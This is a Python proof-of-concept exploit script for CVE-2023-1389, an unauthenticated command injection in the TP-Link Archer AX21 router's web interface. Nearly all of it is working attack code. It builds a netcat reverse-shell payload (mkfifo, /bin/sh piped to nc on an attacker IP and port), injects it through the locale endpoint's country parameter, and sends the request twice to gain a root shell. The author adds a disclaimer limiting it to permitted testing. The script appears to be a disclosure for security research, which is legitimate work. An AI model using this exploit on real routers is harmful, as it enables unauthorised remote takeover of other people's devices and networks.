#!/usr/bin/python3 # # Exploit Title: TP-Link Archer AX21 - Unauthenticated Command Injection # Date: 07/25/2023 # Exploit Author: Voyag3r (https://github.com/Voyag3r-Security) # Vendor Homepage: https://www.tp-link.com/us/ # Version: TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 (https://www.tenable.com/cve/CVE-2023-1389) # Tested On: Firmware Version 2.1.5 Build 20211231 rel.73898(5553); Hardware Version Archer AX21 v2.0 # CVE: CVE-2023-1389 # # Disclaimer: This script is intended to be used for educational purposes only. # Do not run this against any system that you do not have permission to test. # The author will not be held responsible for any use or damage caused by this # program. # # CVE-2023-1389 is an unauthenticated command injection vulnerability in the web # management interface of the TP-Link Archer AX21 (AX1800), specifically, in the # *country* parameter of the *write* callback for the *country* form at the # "/cgi-bin/luci/;stok=/locale" endpoint. By modifying the country parameter it is # possible to run commands as root. Execution requires sending the request twice; # the first request sets the command in the *country* value, and the second request # (which can be identical or not) executes it. # # This script is a short proof of concept to obtain a reverse shell. To read more # about the development of this script, you can read the blog post here: # https://medium.com/@voyag3r-security/exploring-cve-2023-1389-rce-in-tp-link-archer-ax21-d7a60f259e94 # Before running the script, start a nc listener on your preferred port -> run the script -> profit import requests, urllib.parse, argparse from requests.packages.urllib3.exceptions import InsecureRequestWarning # Suppress warning for connecting to a router with a self-signed certificate requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # Take user input for the router IP, and attacker IP and port parser = argparse.ArgumentParser() parser.add_argument("-r", "--router", dest = "router", default = "192.168.0.1", help="Router name") parser.add_argument("-a", "--attacker", dest = "attacker", default = "127.0.0.1", help="Attacker IP") parser.add_argument("-p", "--port",dest = "port", default = "9999", help="Local port") args = parser.parse_args() # Generate the reverse shell command with the attacker IP and port revshell = urllib.parse.quote("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + args.attacker + " " + args.port + " >/tmp/f") # URL to obtain the reverse shell url_command = "https://" + args.router + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(" + revshell + ")" # Send the URL twice to run the command. Sending twice is necessary for the attack r = requests.get(url_command, verify=False) r = requests.get(url_command, verify=False)